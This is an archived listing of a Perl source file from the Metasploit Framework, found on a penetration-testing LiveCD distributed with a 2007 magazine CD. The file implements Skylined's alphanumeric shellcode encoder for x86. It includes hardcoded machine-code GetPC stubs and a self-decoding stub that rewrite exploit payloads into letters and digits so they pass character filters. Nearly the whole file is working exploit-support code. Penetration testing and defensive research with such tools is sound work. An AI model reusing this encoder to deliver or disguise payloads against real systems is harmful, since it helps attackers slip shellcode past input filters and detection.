home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / encoders / PexAlphaNum.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  141 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Encoder::PexAlphaNum;
  11. use strict;
  12. use base 'Msf::Encoder';
  13. use Pex::Encoder;
  14.  
  15. my $advanced = {
  16. };
  17.  
  18. my $info = {
  19.   'Name'    => 'Pex Alphanumeric Encoder',
  20.   'Version' => '$Revision: 1.19 $',
  21.   'Authors' => [ 'Berend-Jan Wever <skylined [at] edup.tudelft.nl>', ],
  22.   'Arch'    => [ 'x86' ],
  23.   'OS'      => [ ],
  24.   'Description'  =>  "Skylined's alphanumeric encoder ported to perl",
  25.   'Refs'    => [ ],
  26.   'Keys'    => [ 'alphanum' ],
  27. };
  28.  
  29. sub new {
  30.   my $class = shift; 
  31.   return($class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_));
  32. }
  33.  
  34. #
  35. # This code is a port of Skylined's awesome alpha encoder
  36. #
  37. sub EncodePayload {
  38.   my $self = shift;
  39.   my $rawshell = shift;
  40.   my $badChars = shift;
  41.   
  42.   my $type = $self->GetVar('GETPCTYPE');
  43.   if (! $type && $self->GetVar('_Payload') && grep {/win32/} @{ $self->GetVar('_Payload')->OS})
  44.   {
  45.     $type = 'win32';
  46.   }
  47.  
  48.   # Begin hd-written foo
  49.  
  50.     my $prepend = "";
  51.     
  52.     if (! $type)
  53.     {
  54.         # the prepend chunks leave ecx=end of code
  55.         $type    = 'ecx';
  56.         
  57.         # use a somewhat sane small prepend first
  58.         $prepend = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff";
  59.         
  60.         # if it doesnt work, use this behemoth with minimized chars
  61.         if (Pex::Text::CharsInBuffer($prepend, $badChars))
  62.         {
  63.             # unique chars: 59 EB E8 A4 FF
  64.             $prepend = 
  65.             "\xeb\x59\x59\x59\x59\xeb\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
  66.             "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
  67.             "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
  68.             "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
  69.             "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
  70.             "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\xe8\xa4\xff\xff\xff";
  71.         }
  72.     }
  73.  
  74.     # the decoder in all its glory (hardcoded for 9 byte baseaddr)
  75.     my $decoder = 'VTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0ADAVX4Z8BDJOM';
  76.     my $encoded;
  77.     
  78.     my $allowed = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXY';
  79.     
  80.     # first check to see if the encoder/alphabet is allowed 
  81.     if ( Pex::Text::CharsInBuffer($allowed.$decoder.'Z', $badChars) )
  82.     {
  83.         $self->PrintDebugLine(3, 'Encoder failed: restricted character in decoder or alphabet');
  84.         return;
  85.     }
  86.     
  87.     # the different places where our baseaddr is stored by getpc
  88.     my %baseaddr;
  89.     $baseaddr{'eax'}    = 'PZJJJJJRY';
  90.     $baseaddr{'ebx'}    = 'SZJJJJJRY';
  91.     $baseaddr{'ecx'}    = 'OIIIIIIQZ';
  92.     $baseaddr{'edx'}    = 'OJJJJJJRY';
  93.     $baseaddr{'esp'}    = 'TZJJJJJRY';
  94.     $baseaddr{'ebp'}    = 'UZJJJJJRY';
  95.     $baseaddr{'esi'}    = 'VZJJJJJRY';
  96.     $baseaddr{'edi'}    = 'WZJJJJJRY';
  97.     $baseaddr{'win32'}  = $baseaddr{'ecx'};
  98.  
  99.     if (! exists($baseaddr{$type}))
  100.     {
  101.         $self->PrintDebugLine(3, "Encoder failed: invalid type specified ($type)");
  102.         return;
  103.     }
  104.  
  105.     my $win32getpc = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089';
  106.     
  107.     if ($type eq 'win32' && ! Pex::Text::CharsInBuffer($baseaddr{'win32'}.$win32getpc, $badChars))
  108.     {
  109.         $encoded = $win32getpc . $baseaddr{'win32'} . $decoder;
  110.     } 
  111.     else 
  112.     {
  113.         $encoded = $baseaddr{$type} . $decoder;
  114.     }
  115.  
  116.     my @alphanum = split(//, $allowed);
  117.     my (@lonibs, @hinibs);
  118.  
  119.     foreach my $x (0 .. 255)  {
  120.     foreach my $y (@alphanum) {
  121.         $lonibs[$x] = (($x & 0x0f) ^ 0x41) + 1;
  122.  
  123.         if (($x & 0xf0) >> 4 == (ord($y) & 0x0f))
  124.         {
  125.             push @{$hinibs[$x]}, $y;
  126.         }
  127.     } }
  128.  
  129.  
  130.     foreach (split(//, $rawshell))
  131.     {
  132.         my $nibL = chr($lonibs[ord($_)]);
  133.         my $nibH = @{$hinibs[ord($_)]}[ rand @{$hinibs[ord($_)]} ];
  134.         $encoded .= $nibL . $nibH;
  135.     }
  136.     $encoded .= "Z";
  137.     return($prepend.$encoded);
  138. }
  139.  
  140. 1;
  141.